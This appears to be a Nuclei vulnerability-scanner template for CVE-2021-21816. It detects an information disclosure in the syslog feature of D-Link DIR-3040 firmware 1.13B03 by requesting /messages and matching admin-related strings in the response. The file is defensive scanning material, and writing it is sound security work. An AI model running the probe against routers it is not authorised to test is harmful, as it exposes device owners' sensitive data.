42 lines
1.2 KiB
YAML
42 lines
1.2 KiB
YAML
id: CVE-2021-21816
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info:
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name: D-Link DIR-3040 1.13B03 - Information Disclosure
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author: gy741
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severity: medium
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description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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cvss-score: 4.3
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cve-id: CVE-2021-21816
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cwe-id: CWE-200
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epss-score: 0.00337
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cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: dlink
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product: dir-3040_firmware
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tags: cve,cve2021,dlink,exposure,router,syslog
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http:
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- method: GET
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path:
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- "{{BaseURL}}/messages"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "syslog:"
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- "admin"
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- "/etc_ro/lighttpd/www"
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condition: and
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- type: status
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status:
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- 200
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